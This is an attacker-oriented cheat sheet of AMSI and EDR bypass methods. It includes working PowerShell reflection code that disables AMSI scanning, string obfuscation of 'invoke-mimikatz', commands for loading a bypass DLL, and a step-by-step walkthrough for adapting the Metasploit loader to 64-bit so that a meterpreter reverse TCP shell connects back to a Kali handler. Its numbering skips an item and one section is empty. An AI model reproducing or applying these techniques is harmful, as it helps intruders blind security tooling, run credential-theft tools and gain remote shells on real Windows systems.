**AMSI Bypass methods**

**1. Powershell Downgrade**

If running a power-shell based payload and AMSI blocks it, you can downgrade your powershell version to 2.0 as AMSI is only supported beyond v2.0.

**2. Obfuscation**

Obfuscation refers to the trick of making your code complex and un-readable. AMSI detects signatures on the basis of certain keywords, and so, obfuscating these keywords works. For example, let’s obfuscate the invoke-mimikatz command. Simply by breaking a string and concatenating them using the + operator we were able to bypass AMSI.

RhytmStick developed this tool “AmsiTrigger” which can scan a script/payload against AMSI and tell us which lines exactly would trigger AMSI and then we can obfuscate them. Now, we have created a script called demo.ps1 with the commands ".\demo.ps1 .\AmsiTrigger.ps1"

After that, the tool has told me the lines where AMSI blocks execution. We can go ahead and obfuscate them using the string concatenation method like: "am"+"si"+"ut"+"ils"

"in"+"vok"+"e"+"-"+"mi"+"mik"+"atz"

**3. Forcing an error**

This bypass is basically assigning amsiInitFailed a boolean True value so that AMSI initialization fails – no scan will be done at all for the current process! The code is:

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null,$null);

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)

**4. Memory Hijacking**

First, let’s download the Invoke-Mimikatz script and see that AMSI is working properly. After downloading, you go to the release folder and see the presence of a DLL called ASBBypass.dll.

However, we will be using in-line C# code to activate the patch using the powershell terminal only! This can be done like:

[System.Reflection.Assembly]::LoadFile("C:\users\niraj\Project\ASBBypass.dll")

[Amsi]::Bypass()

**5. Memory Hijacking (obfuscated opcodes)**

**6. AMSI bypass by reflection**

Make sure to download and rename the script and avoid keywords like “amsibypass” etc since they get blocked. We have to rename it to “am-bp-reflection.ps1”

**7. Nishang All in One script**

The script combines 6 different methods to bypass AMSI under one run. These are:

* unload – Method by Matt Graeber. Unloads AMSI from current PowerShell session.
* unload2 – Another method by Matt Graeber. Unloads AMSI from current PowerShell session.
* unloadsilent – Another method by Matt Graeber. Unloads AMSI and avoids WMF5 autologging.
* unloadobfuscated – ‘unload’ method above obfuscated with Daneil Bohannon’s Invoke-Obfuscation – which avoids WMF5 autologging.
* dllhijack – Method by Cornelis de Plaa. The amsi.dll used in the code is from p0wnedshell (https://github.com/Cn33liz/p0wnedShell)
* psv2 – If .net 2.0.50727 is available on Windows 10. PowerShell v2 is launched which doesn’t support AMSI.

**8. Unhooking**

Windows has a set of APIs (such as syscall) that can be called to execute instructions that require direct system or kernel-level access. As stated in the previous attack method, most EDR solutions use the gateway ntdll.dll by “hooking” into it to watch for suspicious calls to memory.

**9. Reflective DLL loading**

Reflective DLL loading is a Remote Code Injection technique by which an attacker will load a DLL from memory into an existing process instead of loading it from disk.

**10. Mockingjay**

A new process injection technique named 'Mockingjay' could allow threat actors to bypass EDR (Endpoint Detection and Response) and other security products to stealthily execute malicious code on compromised systems.

**12. LolBins**

Living off of the Land Binaries (LoLBins) to bypass EDR protection and install a Command and Control (C2) agent for advanced post-exploitation control.

**13. Metasploit Loader 64-Bit**

First of all, we will edit the Metasploit Loader 32-Bit to make it compatible for a 64-Bit. We will be using the RDI Register that takes 10 bytes for 64-Bit, in place of the EDI Register that took 5 bytes in the 32-Bit version.

* To make the executable file we will be using a Dev C++ Tool by Sourceforge, that could be downloaded from the link- Dev C++.
* To make sure it is installed correctly, look for the GCC files. It should be having both 32 & 64 GCCs’.
* Make a new Project Loader64 & Save the file as Loader64.
* Set Project as a C Project & application as a Console Application. So, that we can run it from the Command Prompt.
* A new default file, as shown below will be created.
* Replace the default code with the Raw main.c file from Metasploit Loader.
* Copy the Raw File from main.c as shown below, to the new Project Loader64.
* Save the File as Loader64.c.
* Do the below changes in the file Loader64.c. Since using a 64-Bit will require more bytes to process.
* Line 107- Replace size+ 5-> size+10
* Line 114- add buffer[0] = 0x48; # as mov in hex is 48
* Line 115- add buffer[1] = 0xBF; # as rdi in hex is BF
* Line 118- Replace 1->2 & 4->8
* Line 121- Replace 5->10
* Make Sure Compile Options has -lws2\_32
* Now, Compile & Run the code.
* Copy the Loader64.exe to Desktop, for convenience.
* Goto Kali Instance, Start the Multi Handler, which will connect to the Reverse shell from Windows7.
* Use PAYLOAD windows/x64/meterpreter/reverse\_tcp
* Set the other options LHOST & LPORT
* Start the Reverse TCP Handler.
* Goto Windows Instance, Start the command prompt.
* Move to the folder where Loader64.exe is kept.
* Try to run the Loader64.exe from cmd.
* It requires Host & Port values
* Enter the values accordingly, refer to the figure
* Run: Loader64.exe IP:Port
* Check the Handler, a session has been created.

**14. Signed Binary Proxy Execution: Rundll32**

Adversaries may abuse rundll32.exe to proxy execution of malicious code

**15. Trusted Developer Utilities Proxy Execution: MSBuild**

Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility.

**16. Masquerading**

Renaming abusable system utilities to evade security monitoring

**17. Obfuscated and encoding .net binaries or C# script or c2 agent can be used if power-shell is disabled.**